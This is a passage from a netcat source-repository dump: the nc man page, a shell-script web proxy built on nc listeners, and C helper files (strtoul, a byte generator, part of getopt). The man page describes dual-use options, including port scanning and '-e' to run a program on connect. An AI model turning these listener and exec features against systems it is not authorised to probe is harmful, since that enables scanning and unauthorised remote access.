| ####### 136 | # Encoding notes, finally from RFC 1738: 137 | # %XX -- hex-encode of special chars 138 | # allowed alphas in a URL: $_-.+!*'(), 139 | # relative names *not* described, but obviously used all over the place 140 | # transport://user:pass@host:port/path/name?query-string 141 | # wais: port 210, //host:port/database?search or /database/type/file? 142 | # cgi-bin/script?arg1=foo&arg2=bar&... scripts have to parse xxx&yyy&zzz 143 | # ISMAP imagemap stuff: /bin/foobar.map?xxx,yyy -- have to guess at coords! 144 | # local access-ctl files: ncsa: .htaccess ; cern: .www_acl 145 | ####### 146 | # SEARCH ENGINES: fortunately, all are GET forms or at least work that way... 147 | # multi-word args for most cases: foo+bar 148 | # See 'websearch' for concise results of this research... 149 | -------------------------------------------------------------------------------- /nc.1: -------------------------------------------------------------------------------- 1 | .TH NC 1 2 | .SH NAME 3 | nc \- TCP/IP swiss army knife 4 | .SH SYNOPSIS 5 | .B nc 6 | .I "[-options] hostname port[s] [ports] ..." 7 | .br 8 | .B nc 9 | .I "-l -p port [-options] [hostname] [port]" 10 | .SH "DESCRIPTION" 11 | .B netcat 12 | is a simple unix utility which reads and writes data across network 13 | connections, using TCP or UDP protocol. It is designed to be a 14 | reliable "back-end" tool that can be used directly or easily driven by 15 | other programs and scripts. At the same time, it is a feature-rich 16 | network debugging and exploration tool, since it can create almost any 17 | kind of connection you would need and has several interesting built-in 18 | capabilities. Netcat, or "nc" as the actual program is named, should 19 | have been supplied long ago as another one of those cryptic but 20 | standard Unix tools. 21 | .P 22 | In the simplest usage, "nc host port" creates a TCP connection to the 23 | given port on the given target host. Your standard input is then sent 24 | to the host, and anything that comes back across the connection is 25 | sent to your standard output. This continues indefinitely, until the 26 | network side of the connection shuts down. Note that this behavior is 27 | different from most other applications which shut everything down and 28 | exit after an end-of-file on the standard input. 29 | .P 30 | Netcat can also function as a server, by listening for inbound 31 | connections on arbitrary ports and then doing the same reading and 32 | writing. With minor limitations, netcat doesn't really care if it 33 | runs in "client" or "server" mode -- it still shovels data back and 34 | forth until there isn't any more left. In either mode, shutdown can be 35 | forced after a configurable time of inactivity on the network side. 36 | .P 37 | And it can do this via UDP too, so netcat is possibly the "udp 38 | telnet-like" application you always wanted for testing your UDP-mode 39 | servers. UDP, as the "U" implies, gives less reliable data 40 | transmission than TCP connections and some systems may have trouble 41 | sending large amounts of data that way, but it's still a useful 42 | capability to have. 43 | .P 44 | You may be asking "why not just use telnet to connect to arbitrary 45 | ports?" Valid question, and here are some reasons. Telnet has the 46 | "standard input EOF" problem, so one must introduce calculated delays 47 | in driving scripts to allow network output to finish. This is the 48 | main reason netcat stays running until the *network* side closes. 49 | Telnet also will not transfer arbitrary binary data, because certain 50 | characters are interpreted as telnet options and are thus removed from 51 | the data stream. Telnet also emits some of its diagnostic messages to 52 | standard output, where netcat keeps such things religiously separated 53 | from its *output* and will never modify any of the real data in 54 | transit unless you *really* want it to. And of course telnet is 55 | incapable of listening for inbound connections, or using UDP instead. 56 | Netcat doesn't have any of these limitations, is much smaller and 57 | faster than telnet, and has many other advantages. 58 | .SH OPTIONS 59 | .TP 13 60 | .I \-h 61 | display help 62 | .TP 13 63 | .I \-i secs 64 | delay interval for lines sent, ports scanned 65 | .TP 13 66 | .I \-l 67 | listen mode, for inbound connects 68 | .TP 13 69 | .I \-n 70 | numeric-only IP addresses, no DNS 71 | .TP 13 72 | .I \-o file 73 | hex dump of traffic 74 | .TP 13 75 | .I \-p port 76 | local port number (port numbers can be individual or ranges: lo-hi 77 | [inclusive]) 78 | .TP 13 79 | .I \-q seconds 80 | after EOF is detected, wait the specified number of seconds and then 81 | quit. 82 | .TP 13 83 | .I \-b 84 | allow UDP broadcasts 85 | .TP 13 86 | .I \-r 87 | randomize local and remote ports 88 | .TP 13 89 | .I \-s addr 90 | local source address 91 | .TP 13 92 | .I \-t 93 | enable telnet negotiation 94 | .TP 13 95 | .I \-e prog 96 | specify program to exec after connect (use with caution) 97 | .TP 13 98 | .I \-u 99 | UDP mode 100 | .TP 13 101 | .I \-v 102 | verbose [use twice to be more verbose] 103 | .TP 13 104 | .I \-w secs 105 | timeout for connects and final net reads 106 | .TP 13 107 | .I \-z 108 | zero-I/O mode [used for scanning] 109 | .SH COPYRIGHT 110 | Netcat is entirely *Hobbit*'s own creation, although plenty of other code 111 | was used as examples. It is freely given away to the Internet community 112 | in the hope that it will be useful, with no restrictions except giving 113 | credit where it is due. No GPLs, Berkeley copyrights or any of that 114 | nonsense. The author assumes NO responsibility for how anyone uses 115 | it. If netcat makes you rich somehow and you're feeling generous, 116 | mail me a check. If you are affiliated in any way with Microsoft 117 | Network, get a life. Always ski in control. Comments, questions, and 118 | patches to hobbit@avian.org. 119 | .P 120 | This release is not an attempt to steal *Hobbit*'s merits as Netcat's 121 | author, but rather to keep an extraordinarily useful tool in pace with 122 | the changes in the Internet, and to make an extraordinarily instructive 123 | piece of code even more so. 124 | .SH BUGS 125 | Efforts have been made to have netcat "do the right thing" in all its 126 | various modes. If you believe that it is doing the wrong thing under 127 | whatever circumstances, please notify me and tell me how you think it 128 | should behave. If netcat is not able to do some task you think up, 129 | minor tweaks to the code will probably fix that. It provides a basic 130 | and easily-modified template for writing other network applications, 131 | and I certainly encourage people to make custom mods and send in any 132 | improvements they make to it. Continued feedback from the Internet 133 | community is always welcome! 134 | .SH AUTHOR 135 | This manual page was written by Joey Hess and 136 | Robert Woodcock , cribbing heavily from Netcat's 137 | README file. 138 | .P 139 | Netcat was written by a guy we know as the Hobbit . 140 | -------------------------------------------------------------------------------- /scripts/webproxy: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ## Web proxy, following the grand tradition of Web things being handled by 3 | ## gross scripts. Uses netcat to listen on a high port [default 8000], 4 | ## picks apart requests and sends them on to the right place. Point this 5 | ## at the browser client machine you'll be coming from [to limit access to 6 | ## only it], and point the browser's concept of an HTTP proxy to the 7 | ## machine running this. Takes a single argument of the client that will 8 | ## be using it, and rejects connections from elsewhere. LOGS the queries 9 | ## to a configurable logfile, which can be an interesting read later on! 10 | ## If the argument is "reset", the listener and logfile are cleaned up. 11 | ## 12 | ## This works surprisingly fast and well, for a shell script, although may 13 | ## randomly fail when hammered by a browser that tries to open several 14 | ## connections at once. Drop the "maximum connections" in your browser if 15 | ## this is a problem. 16 | ## 17 | ## A more degenerate case of this, or preferably a small C program that 18 | ## does the same thing under inetd, could handle a small site's worth of 19 | ## proxy queries. Given the way browsers are evolving, proxies like this 20 | ## can play an important role in protecting your own privacy. 21 | ## 22 | ## If you grabbed this in ASCII mode, search down for "eew" and make sure 23 | ## the embedded-CR check is intact, or requests might hang. 24 | ## 25 | ## Doesn't handle POST forms. Who cares, if you're just watching HTTV? 26 | ## Dumbness here has a highly desirable side effect: it only sends the first 27 | ## GET line, since that's all you really ever need to send, and suppresses 28 | ## the other somewhat revealing trash that most browsers insist on sending. 29 | 30 | # set these as you wish: proxy port... 31 | PORT=8000 32 | # logfile spec: a real file or /dev/null if you don't care 33 | LFILE=${0}.log 34 | # optional: where to dump connect info, so you can see if anything went wrong 35 | # CFILE=${0}.conn 36 | # optional extra args to the listener "nc", for instance "-s inside-net-addr" 37 | # XNC='' 38 | 39 | # functionality switch has to be done fast, so the next listener can start 40 | # prelaunch check: if no current client and no args, bail. 41 | case "${1}${CLIENT}" in 42 | "") 43 | echo needs client hostname 44 | exit 1 45 | ;; 46 | esac 47 | 48 | case "${1}" in 49 | "") 50 | # Make like inetd, and run the next relayer process NOW. All the redirection 51 | # is necessary so this shell has NO remaining channel open to the net. 52 | # This will hang around for 10 minutes, and exit if no new connections arrive. 53 | # Using -n for speed, avoiding any DNS/port lookups. 54 | nc -w 600 -n -l -p $PORT -e "$0" $XNC "$CLIENT" < /dev/null > /dev/null \ 55 | 2> $CFILE & 56 | ;; 57 | esac 58 | 59 | # no client yet and had an arg, this checking can be much slower now 60 | umask 077 61 | 62 | if test "$1" ; then 63 | # if magic arg, just clean up and then hit our own port to cause server exit 64 | if test "$1" = "reset" ; then 65 | rm -f $LFILE 66 | test -f "$CFILE" && rm -f $CFILE 67 | nc -w 1 -n 127.0.0.1 $PORT < /dev/null > /dev/null 2>&1 68 | exit 0 69 | fi 70 | # find our ass with both hands 71 | test ! -f "$0" && echo "Oops, cannot find my own corporeal being" && exit 1 72 | # correct launch: set up client access control, passed along thru environment. 73 | CLIENT="$1" 74 | export CLIENT 75 | test "$CFILE" || CFILE=/dev/null 76 | export CFILE 77 | touch "$CFILE" 78 | # tell us what happened during the last run, if possible 79 | if test -f "$CFILE" ; then 80 | echo "Last connection results:" 81 | cat $CFILE 82 | fi 83 | 84 | # ping client machine and get its bare IP address 85 | CLIENT=`nc -z -v -w 8 "$1" 22000 2>&1 | sed 's/.*\[\(..*\)\].*/\1/'` 86 | test ! "$CLIENT" && echo "Can't find address of $1" && exit 1 87 | 88 | # if this was an initial launch, be informative about it 89 | echo "=== Launch: $CLIENT" >> $LFILE 90 | echo "Proxy running -- will accept connections on $PORT from $CLIENT" 91 | echo " Logging queries to $LFILE" 92 | test -f "$CFILE" && echo " and connection fuckups to $CFILE" 93 | 94 | # and run the first listener, showing us output just for the first hit 95 | nc -v -w 600 -n -l -p $PORT -e "$0" $XNC "$CLIENT" & 96 | exit 0 97 | fi 98 | 99 | # Fall here to handle a page. 100 | # GET type://host.name:80/file/path HTTP/1.0 101 | # Additional: trash 102 | # More: trash 103 | # 104 | 105 | read x1 x2 x3 x4 106 | echo "=== query: $x1 $x2 $x3 $x4" >> $LFILE 107 | test "$x4" && echo "extra junk after request: $x4" && exit 0 108 | # nuke questionable characters and split up the request 109 | hurl=`echo "$x2" | sed -e "s+.*//++" -e 's+[\`'\''|$;<>{}\\!*()"]++g'` 110 | # echo massaged hurl: $hurl >> $LFILE 111 | hh=`echo "$hurl" | sed -e "s+/.*++" -e "s+:.*++"` 112 | hp=`echo "$hurl" | sed -e "s+.*:++" -e "s+/.*++"` 113 | test "$hp" = "$hh" && hp=80 114 | hf=`echo "$hurl" | sed -e "s+[^/]*++"` 115 | # echo total split: $hh : $hp : $hf >> $LFILE 116 | # suck in and log the entire request, because we're curious 117 | # Fails on multipart stuff like forms; oh well... 118 | if test "$x3" ; then 119 | while read xx ; do 120 | echo "${xx}" >> $LFILE 121 | test "${xx}" || break 122 | # eew, buried returns, gross but necessary for DOS stupidity: 123 | test "${xx}" = " " && break 124 | done 125 | fi 126 | # check for non-GET *after* we log the query... 127 | test "$x1" != "GET" && echo "sorry, this proxy only does GETs" && exit 0 128 | # no, you can *not* phone home, you miserable piece of shit 129 | test "`echo $hh | fgrep -i netscap`" && \ 130 | echo "access to Netscam's servers DENIED." && exit 0 131 | # Do it. 30 sec net-wait time oughta be *plenty*... 132 | # Some braindead servers have forgotten how to handle the simple-query syntax. 133 | # If necessary, replace below with (echo "$x1 $hf" ; echo '') | nc... 134 | echo "$x1 $hf" | nc -w 30 "$hh" "$hp" 2> /dev/null || \ 135 | echo "oops, can't get to $hh : $hp". 136 | echo "sent \"$x1 $hf\" to $hh : $hp" >> $LFILE 137 | exit 0 138 | 139 | -------------------------------------------------------------------------------- /strtoul.c: -------------------------------------------------------------------------------- 1 | /******************************** -*- C -*- **************************** 2 | * 3 | * strtoul substitute 4 | * 5 | * 6 | ***********************************************************************/ 7 | 8 | /*********************************************************************** 9 | * 10 | * Copyright 1988,89,90,91,92,94,95,99,2000,2001,2002 11 | * Free Software Foundation, Inc. 12 | * Written by Paolo Bonzini. 13 | * 14 | * This file is part of GNU Smalltalk. 15 | * 16 | * GNU Smalltalk is free software; you can redistribute it and/or modify it 17 | * under the terms of the GNU General Public License as published by the Free 18 | * Software Foundation; either version 2, or (at your option) any later 19 | * version. 20 | * 21 | * GNU Smalltalk is distributed in the hope that it will be useful, but WITHOUT 22 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or 23 | * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for 24 | * more details. 25 | * 26 | * You should have received a copy of the GNU General Public License along with 27 | * GNU Smalltalk; see the file COPYING. If not, write to the Free Software 28 | * Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | 35 | #ifndef HAVE_STRTOUL 36 | 37 | /* Map from ASCII digits to numerical equivalents (99 for non-digit chars). */ 38 | static char value[256] = { 39 | 99, 99, 99, 99, 99, 99, 99, 99, /* control chars */ 40 | 99, 99, 99, 99, 99, 99, 99, 99, /* control chars */ 41 | 99, 99, 99, 99, 99, 99, 99, 99, /* control chars */ 42 | 99, 99, 99, 99, 99, 99, 99, 99, /* control chars */ 43 | 99, 99, 99, 99, 99, 99, 99, 99, /* punctuation */ 44 | 99, 99, 99, 99, 99, 99, 99, 99, /* punctuation */ 45 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, /* '0' - '9' */ 46 | 99, 99, 99, 99, 99, 99, 99, /* punctuation */ 47 | 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, /* 'A' - 'J' */ 48 | 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, /* 'K' - 'T' */ 49 | 30, 31, 32, 33, 34, 35, /* 'U' - 'Z' */ 50 | 99, 99, 99, 99, 99, 99, /* punctuation */ 51 | 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, /* 'a' - 'j' */ 52 | 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, /* 'k' - 't' */ 53 | 30, 31, 32, 33, 34, 35, /* 'u' - 'z' */ 54 | 99, 99, 99, 99, 99, /* punctuation */ 55 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 56 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 57 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 58 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 59 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 60 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 61 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 62 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 63 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 64 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 65 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 66 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 67 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 68 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 69 | 99, 99, 99, 99, 99, 99, 99, 99, /* 8-bit chars */ 70 | 99, 99, 99, 99, 99, 99, 99, 99 /* 8-bit chars */ 71 | }; 72 | 73 | /* 74 | *---------------------------------------------------------------------- 75 | * 76 | * strtoul -- 77 | * 78 | * Convert an ASCII string into an integer. 79 | * 80 | * Results: 81 | * The return value is the integer equivalent of string. If tail 82 | * is non-NULL, then *tail is filled in with the character 83 | * after the last one that was part of the integer. If string 84 | * doesn't contain a valid integer value, then zero is returned 85 | * and *tail is set to string. 86 | * 87 | * Side effects: 88 | * None. 89 | * 90 | *---------------------------------------------------------------------- 91 | */ 92 | 93 | unsigned long int 94 | strtoul(char *string, char **tail, int base) 95 | { 96 | register unsigned char *p; 97 | register unsigned long int result = 0, max; 98 | register unsigned char digit; 99 | int anyDigits = 0; 100 | 101 | /* Skip any leading blanks. */ 102 | for (p = string; isspace(*p); p++) ; 103 | 104 | /* Parameter checks go here. */ 105 | if (base < 0 || base > 36 || *p == '-') 106 | { 107 | errno = EINVAL; 108 | if (tail) 109 | *tail = string; 110 | 111 | return (result); 112 | } 113 | 114 | /* If no base was provided, pick one from the leading characters 115 | * of the string. */ 116 | if (base == 0) 117 | { 118 | base = 10; 119 | if (*p == '0') 120 | { 121 | p++; 122 | if (*p == 'x' || *p == 'X') 123 | { 124 | p++; 125 | base = 16; 126 | } 127 | else 128 | { 129 | /* Set anyDigits here, otherwise "0" produces a "no digits" error. */ 130 | anyDigits = 1; 131 | base = 8; 132 | } 133 | } 134 | } 135 | else if (base == 16) 136 | { 137 | /* Skip leading "0x" or "0X" from hex numbers. */ 138 | if (p[0] == '0') 139 | p += (p[1] == 'x' || p[1] == 'X') ? 2 : 1; 140 | } 141 | 142 | /* Do different things for base 8, 10, 16, and other (for speed). */ 143 | if (base == 10) 144 | for ( ; (digit = *p - '0') <= 9; p++) 145 | { 146 | anyDigits = 1; 147 | if (result > (ULONG_MAX / 10 - digit)) 148 | { 149 | result = ULONG_MAX; 150 | errno = ERANGE; 151 | } 152 | result *= 10; result += digit; 153 | } 154 | else if (base == 16) 155 | for ( ; (digit = value[*p]) <= 15; p++) 156 | { 157 | anyDigits = 1; 158 | if (result > ((ULONG_MAX >> 4) - digit)) 159 | { 160 | result = ULONG_MAX; 161 | errno = ERANGE; 162 | } 163 | result <<= 4; result += digit; 164 | } 165 | else if (base == 8) 166 | for ( ; (digit = *p - '0') <= 7; p++) 167 | { 168 | anyDigits = 1; 169 | if (result > ((ULONG_MAX >> 3) - digit)) 170 | { 171 | result = ULONG_MAX; 172 | errno = ERANGE; 173 | } 174 | result <<= 3; result += digit; 175 | } 176 | else 177 | for ( max = ULONG_MAX / base; (digit = value[*p]) < base; p++) 178 | { 179 | anyDigits = 1; 180 | if (result > (max - digit)) 181 | { 182 | result = ULONG_MAX; 183 | errno = ERANGE; 184 | } 185 | result *= base; result += digit; 186 | } 187 | 188 | if (tail) 189 | /* See if there were any digits at all. */ 190 | *tail = anyDigits ? (char *)p : string; 191 | 192 | return (result); 193 | } 194 | 195 | #endif 196 | -------------------------------------------------------------------------------- /data/data.c: -------------------------------------------------------------------------------- 1 | /* primitive arbitrary-data frontend for netcat. 0.9 960226 2 | only handles one value per ascii line, but at least parses 0xNN too 3 | an input line containing "%r" during "-g" generates a random byte 4 | 5 | todo: 6 | make work on msloss jus' for kicks [workin' on it...] 7 | 8 | syntax: data -X [limit] 9 | where X is one of 10 | d: dump raw bytes to ascii format 11 | g: generate raw bytes from ascii input 12 | c: generate ??? of value -- NOTYET 13 | r: generate all random bytes 14 | and limit is how many bytes to generate or dump [unspecified = infinite] 15 | 16 | *Hobbit*, started 951004 or so and randomly screwed around with since */ 17 | 18 | #include 19 | 20 | #ifdef MSDOS /* for MSC only at the moment... */ 21 | #include 22 | #else /* MSDOS */ 23 | #include 24 | #define HAVE_RANDOM /* XXX: might have to change */ 25 | #endif /* MSDOS */ 26 | 27 | static char buf_in [128]; 28 | static char buf_raw [8192]; 29 | static char surveysez[] = "survey sez... XXX\n"; 30 | 31 | /* fgetss : 32 | wrapper for fgets, that yanks trailing newlines. Doing the work ourselves 33 | instead of calling strchr/strlen/whatever */ 34 | char * fgetss (buf, len, from) 35 | char * buf; 36 | size_t len; 37 | FILE * from; 38 | { 39 | register int x; 40 | register char * p, * q; 41 | p = fgets (buf, len, from); /* returns ptr to buf */ 42 | if (! p) 43 | return (NULL); 44 | q = p; 45 | for (x = 0; x < len; x++) { 46 | *p = (*p & 0x7f); /* rip parity, just in case */ 47 | switch (*p) { 48 | case '\n': 49 | case '\r': 50 | case '\0': 51 | *p = '\0'; 52 | return (q); 53 | } /* switch */ 54 | p++; 55 | } /* for */ 56 | } /* fgetss */ 57 | 58 | /* randint: 59 | swiped from rndb.c. Generates an INT, you have to mask down to char. */ 60 | int randint() 61 | { 62 | register int q; 63 | register int x; 64 | 65 | #ifndef HAVE_RANDOM 66 | q = rand(); 67 | #else 68 | q = random(); 69 | #endif 70 | x = ((q >> 8) & 0xff); /* perturb low byte using some higher bits */ 71 | x = q ^ x; 72 | return (x); 73 | } 74 | 75 | main (argc, argv) 76 | int argc; 77 | char ** argv; 78 | { 79 | register unsigned char * p; 80 | register char * q; 81 | register int x; 82 | int bc = 0; 83 | int limit = 0; /* num to gen, or 0 = infinite */ 84 | register int xlimit; /* running limit */ 85 | FILE * txt; /* line-by-line ascii file */ 86 | int raw; /* raw bytes fd */ 87 | int dumping = 0; /* cmd flags ... */ 88 | int genning = 0; 89 | int randing = 0; 90 | 91 | memset (buf_in, 0, sizeof (buf_in)); 92 | memset (buf_raw, 0, sizeof (buf_raw)); 93 | 94 | xlimit = 1; /* doubles as "exit flag" */ 95 | bc = 1; /* preload, assuming "dump" */ 96 | x = getpid() + 687319; 97 | /* if your library doesnt have srandom/random, use srand/rand. [from rnd.c] */ 98 | #ifndef HAVE_RANDOM 99 | srand (time(0) + x); 100 | #else 101 | srandom (time(0) + x); 102 | #endif 103 | 104 | #ifdef O_BINARY 105 | /* DOS stupidity */ 106 | /* Aha: *here's* where that setmode() lib call conflict in ?BSD came from */ 107 | x = setmode (0, O_BINARY); /* make stdin raw */ 108 | if (x < 0) { 109 | fprintf (stderr, "stdin binary setmode oops: %d\n", x); 110 | exit (1); 111 | } 112 | x = setmode (1, O_BINARY); /* make stdout raw */ 113 | if (x < 0) { 114 | fprintf (stderr, "stdout binary setmode oops: %d\n", x); 115 | exit (1); 116 | } 117 | #endif /* O_BINARY */ 118 | 119 | if (argv[1]) { 120 | p = argv[1]; /* shit-simple single arg parser... */ 121 | if (*p == '-') /* dash is optional, we'll deal */ 122 | p++; 123 | if (*p == 'd') 124 | dumping++; 125 | if (*p == 'g') 126 | genning++; 127 | if (*p == 'r') 128 | randing++; 129 | } /* if argv 1 */ 130 | 131 | /* optional second argument: limit # of bytes shoveled either way */ 132 | if (argv[2]) { 133 | x = atoi (argv[2]); 134 | if (x) 135 | limit = x; 136 | else 137 | goto wrong; 138 | xlimit = limit; 139 | } 140 | 141 | /* Since this prog would likely best be written in assmbler, I'm gonna 142 | write it *like* assembler. So there. */ 143 | 144 | if (randing) 145 | goto do_rand; 146 | 147 | nextbuf: /* loop sleaze */ 148 | 149 | if (dumping) { /* switch off to wherever */ 150 | if (genning) 151 | goto wrong; 152 | goto do_dump; 153 | } 154 | if (genning) 155 | goto do_gen; 156 | wrong: 157 | fprintf (stderr, surveysez); /* if both or neither */ 158 | exit (1); 159 | 160 | do_gen: 161 | /* here if genning -- original functionality */ 162 | q = buf_raw; 163 | bc = 0; 164 | /* suck up lines until eof or buf_raw is full */ 165 | while (1) { 166 | p = fgetss (buf_in, 120, stdin); 167 | if (! p) 168 | break; /* EOF */ 169 | /* super-primitive version first: one thingie per line */ 170 | if (*p == '#') /* comment */ 171 | continue; 172 | if (*p == '\0') /* blank line */ 173 | continue; 174 | if (*p == '%') { /* escape char? */ 175 | p++; 176 | if (*p == 'r') { /* random byte */ 177 | x = randint(); 178 | goto stuff; 179 | } /* %r */ 180 | } /* if "%" escape */ 181 | if (*p == '0') 182 | if (*(p+1) == 'x') /* 0x?? */ 183 | goto hex; 184 | x = atoi (p); /* reg'lar decimal number */ 185 | goto stuff; 186 | 187 | hex: 188 | /* A 65 a 97 */ 189 | /* xxx: use a conversion table for this or something. Since we ripped the 190 | parity bit, we only need a preset array of 128 with downconversion factors 191 | loaded in *once*. maybe look at scanf... */ 192 | p++; p++; /* point at hex-chars */ 193 | x = 0; 194 | if ((*p > 96) && (*p < 123)) /* a-z */ 195 | *p = (*p - 32); /* this is massively clumsy */ 196 | if ((*p > 64) && (*p < 71)) /* A-F */ 197 | x = (*p - 55); 198 | if ((*p > 47) && (*p < 58)) /* digits */ 199 | x = (*p - 48); 200 | p++; 201 | if (*p) /* another digit? */ 202 | x = (x << 4); /* shift to hi half */ 203 | if ((*p > 96) && (*p < 123)) /* a-z */ 204 | *p = (*p - 32); 205 | if ((*p > 64) && (*p < 71)) /* A-F */ 206 | x = (x | (*p - 55)); /* lo half */ 207 | if ((*p > 47) && (*p < 58)) /* digits */ 208 | x = (x | (*p - 48)); 209 | 210 | /* fall thru */ 211 | stuff: /* cvt to byte and add to buffer */ 212 | *q = (x & 0xff); 213 | q++; 214 | bc++; 215 | if (limit) { 216 | xlimit--; 217 | if (xlimit == 0) /* max num reached */ 218 | break; 219 | } /* limit */ 220 | if (bc >= sizeof (buf_raw)) /* buffer full */ 221 | break; 222 | } /* while 1 */ 223 | 224 | /* now in theory we have our buffer formed; shovel it out */ 225 | x = write (1, buf_raw, bc); 226 | if (x <= 0) { 227 | fprintf (stderr, "write oops: %d\n", x); 228 | exit (1); 229 | } 230 | if (xlimit && p) 231 | goto nextbuf; /* go get some more */ 232 | exit (0); 233 | 234 | do_dump: 235 | /* here if dumping raw stuff into an ascii file */ 236 | /* gad, this is *so* much simpler! can we say "don't rewrite printf"? */ 237 | x = read (0, buf_raw, 8192); 238 | if (x <= 0) 239 | exit (0); 240 | q = buf_raw; 241 | for ( ; x > 0; x--) { 242 | p = q; 243 | printf ("%-3.3d # 0x%-2.2x # ", *p, *p); 244 | if ((*p > 31) && (*p < 127)) 245 | printf ("%c %d\n", *p, bc); 246 | else 247 | printf (". %d\n", bc); 248 | q++; 249 | bc++; 250 | if (limit) { 251 | xlimit--; 252 | if (xlimit == 0) { 253 | fflush (stdout); 254 | exit (0); 255 | } 256 | } /* limit */ 257 | } /* for */ 258 | goto nextbuf; 259 | 260 | do_rand: 261 | /* here if generating all-random bytes. Stays in this loop */ 262 | p = buf_raw; 263 | while (1) { 264 | *p = (randint() & 0xff); 265 | write (1, p, 1); /* makes very slow! */ 266 | if (limit) { 267 | xlimit--; 268 | if (xlimit == 0) 269 | break; 270 | } 271 | } /* while */ 272 | exit (0); 273 | 274 | } /* main */ 275 | -------------------------------------------------------------------------------- /getopt.c: -------------------------------------------------------------------------------- 1 | /* Getopt for GNU. 2 | NOTE: getopt is now part of the C library, so if you don't know what 3 | "Keep this file name-space clean" means, talk to drepper@gnu.org 4 | before changing it! 5 | 6 | Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98 7 | Free Software Foundation, Inc. 8 | 9 | NOTE: The canonical source of this file is maintained with the GNU C Library. 10 | Bugs can be reported to bug-glibc@gnu.org. 11 | 12 | This program is free software; you can redistribute it and/or modify it 13 | under the terms of the GNU General Public License as published by the 14 | Free Software Foundation; either version 2, or (at your option) any 15 | later version. 16 | 17 | This program is distributed in the hope that it will be useful, 18 | but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 | GNU General Public License for more details. 21 | 22 | You should have received a copy of the GNU General Public License 23 | along with this program; if not, write to the Free Software 24 | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, 25 | USA. */ 26 | 27 | /* This tells Alpha OSF/1 not to define a getopt prototype in . 28 | Ditto for AIX 3.2 and . */ 29 | #ifndef _NO_PROTO 30 | # define _NO_PROTO 31 | #endif 32 | 33 | #ifdef HAVE_CONFIG_H 34 | # include 35 | #endif 36 | 37 | #if !defined __STDC__ || !__STDC__ 38 | /* This is a separate conditional since some stdc systems 39 | reject `defined (const)'. */ 40 | # ifndef const 41 | # define const 42 | # endif 43 | #endif 44 | 45 | #include 46 | 47 | /* Comment out all this code if we are using the GNU C Library, and are not 48 | actually compiling the library itself. This code is part of the GNU C 49 | Library, but also included in many other GNU distributions. Compiling 50 | and linking in this code is a waste when using the GNU C library 51 | (especially if it is a shared library). Rather than having every GNU 52 | program understand `configure --with-gnu-libc' and omit the object files, 53 | it is simpler to just do this in the source for each such file. */ 54 | 55 | #define GETOPT_INTERFACE_VERSION 2 56 | #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 57 | # include 58 | # if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION 59 | # define ELIDE_CODE 60 | # endif 61 | #endif 62 | 63 | #ifndef ELIDE_CODE 64 | 65 | 66 | /* This needs to come after some library #include 67 | to get __GNU_LIBRARY__ defined. */ 68 | #ifdef __GNU_LIBRARY__ 69 | /* Don't include stdlib.h for non-GNU C libraries because some of them 70 | contain conflicting prototypes for getopt. */ 71 | # include 72 | # include 73 | #endif /* GNU C library. */ 74 | 75 | #ifdef VMS 76 | # include 77 | # if HAVE_STRING_H - 0 78 | # include 79 | # endif 80 | #endif 81 | 82 | #ifndef _ 83 | /* This is for other GNU distributions with internationalized messages. 84 | When compiling libc, the _ macro is predefined. */ 85 | # ifdef HAVE_LIBINTL_H 86 | # include 87 | # define _(msgid) gettext (msgid) 88 | # else 89 | # define _(msgid) (msgid) 90 | # endif 91 | #endif 92 | 93 | /* This version of `getopt' appears to the caller like standard Unix `getopt' 94 | but it behaves differently for the user, since it allows the user 95 | to intersperse the options with the other arguments. 96 | 97 | As `getopt' works, it permutes the elements of ARGV so that, 98 | when it is done, all the options precede everything else. Thus 99 | all application programs are extended to handle flexible argument order. 100 | 101 | Setting the environment variable POSIXLY_CORRECT disables permutation. 102 | Then the behavior is completely standard. 103 | 104 | GNU application programs can use a third alternative mode in which 105 | they can distinguish the relative order of options and other arguments. */ 106 | 107 | #include "getopt.h" 108 | 109 | /* For communication from `getopt' to the caller. 110 | When `getopt' finds an option that takes an argument, 111 | the argument value is returned here. 112 | Also, when `ordering' is RETURN_IN_ORDER, 113 | each non-option ARGV-element is returned here. */ 114 | 115 | char *optarg = NULL; 116 | 117 | /* Index in ARGV of the next element to be scanned. 118 | This is used for communication to and from the caller 119 | and for communication between successive calls to `getopt'. 120 | 121 | On entry to `getopt', zero means this is the first call; initialize. 122 | 123 | When `getopt' returns -1, this is the index of the first of the 124 | non-option elements that the caller should itself scan. 125 | 126 | Otherwise, `optind' communicates from one call to the next 127 | how much of ARGV has been scanned so far. */ 128 | 129 | /* 1003.2 says this must be 1 before any call. */ 130 | int optind = 1; 131 | 132 | /* Formerly, initialization of getopt depended on optind==0, which 133 | causes problems with re-calling getopt as programs generally don't 134 | know that. */ 135 | 136 | int 